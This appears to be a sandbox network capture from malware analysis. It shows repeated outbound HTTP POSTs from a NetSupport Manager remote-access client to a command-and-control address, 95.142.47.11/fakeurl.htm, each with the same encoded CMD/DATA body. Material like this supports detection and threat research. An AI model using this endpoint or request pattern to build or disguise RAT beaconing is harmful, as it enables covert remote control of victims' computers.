Dec 6, 2023 14:36:38.931729078 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:39.031928062 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:39.132771015 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:39.233721972 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:39.333903074 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:39.434638023 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:39.534579992 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:39.635726929 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:39.735619068 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:39.835644007 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:39.935641050 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:40.036622047 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:40.136627913 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:40.251646996 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:40.451865911 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:40.552634001 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:40.652656078 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:40.753758907 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:40.853691101 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:40.953915119 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:41.055001020 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:41.155704021 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:41.256637096 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:41.356697083 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:41.457824945 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:41.557857037 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:41.657962084 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:41.758874893 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:41.859807968 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:41.959856033 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:42.060775042 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:42.161739111 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:42.262773991 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:42.362719059 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:42.462647915 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:42.563657999 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:42.663698912 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:42.763617039 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:42.863917112 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:42.964767933 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:43.064893007 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:43.165679932 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:43.266644955 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:43.366656065 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:43.467797995 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:43.567974091 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:43.668706894 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:43.769675970 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:43.870719910 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:43.970624924 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:44.071665049 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:44.172559023 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:44.273732901 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:44.373609066 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:44.474695921 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:44.574918985 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:44.675602913 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:44.788156986 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:44.887758970 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:44.988761902 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:45.404427052 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:45.503787041 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:45.604743004 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:45.706012964 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:47.243053913 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:47.343669891 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:47.443666935 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:47.544688940 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:47.645848036 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:47.745601892 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:47.845864058 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:47.946621895 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:48.047732115 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:48.147636890 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:48.248769999 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:48.349661112 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:48.449575901 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:48.550765991 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:48.650700092 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:48.750885963 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:48.852421045 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:48.952632904 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:49.058881998 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:49.158787012 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:49.259780884 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:49.361124992 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:49.460587978 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:49.561867952 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:49.662993908 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:49.762968063 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:49.863616943 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:49.963891029 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:50.064683914 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
